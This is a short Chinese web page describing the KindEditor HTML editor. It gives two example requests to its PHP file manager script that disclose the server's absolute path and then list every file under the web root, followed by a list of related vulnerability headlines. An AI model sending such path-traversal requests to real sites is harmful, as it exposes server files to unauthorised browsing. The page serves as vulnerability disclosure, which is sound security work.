KindEditor是一套开源的HTML可视化编辑器，主要用于让用户在网站上获得所见即所得编辑效果，兼容IE、Firefox、Chrome、Safari、Opera等主流浏览器。 KindEditor使用JavaScript编写，可以无缝的于Java、.NET、PHP、ASP等程序接合。 KindEditor非常适合在CMS、商城、论坛、博客、Wiki、电子邮件等互联网应用上使用，2006年7月首次发布2.0以来，KindEditor依靠出色的用户体验和领先的技术不断扩大编辑器市场占有率，目前在国内已经成为最受欢迎的编辑器之一。 利用方法： 1.http://localhost/67cms/kindeditor/php/file_manager_json.php?path=/ //path=/，爆出绝对路径D:\\AppServ\\www\\67cms\\kindeditor\\php\\file_manager_json.php 2.http://localhost/67cms/kindeditor/php/file_manager_json.php?path=AppServ/www/67cms/ //根据爆出的绝对路径，修改path的值为AppServ/www/67cms/ 这时将遍历d:/AppServ/www/67cms/下的所有文件和文件名 
常见问题
相关文章
猜你喜欢
- WordPress 4.0以下版本存在跨站脚本漏洞 2022-12-07
- Kindeditor遍历目录0DAY问题 2022-12-07
- 历史悠久的3个经典网站安全漏洞介绍 2022-12-07
- Kindeditor特定情况可能会导致全盘浏览的漏洞 2022-12-07
- Nessus扫描漏洞使用教程 2022-12-07
- PHP邮件注入实战演练 2022-12-07
- 解析OpenSSL程序概念及震惊业界的“心脏出血”漏洞 2022-12-07
- Swagger JSON高危漏洞被发现 Java/PHP/NodeJS/Ruby或中招 2022-12-07
- 黑客通过Paypal可传输恶意图像 2022-12-07
- 看一眼就中毒 详解微软lnk漏洞（快捷方式漏洞） 2022-12-07
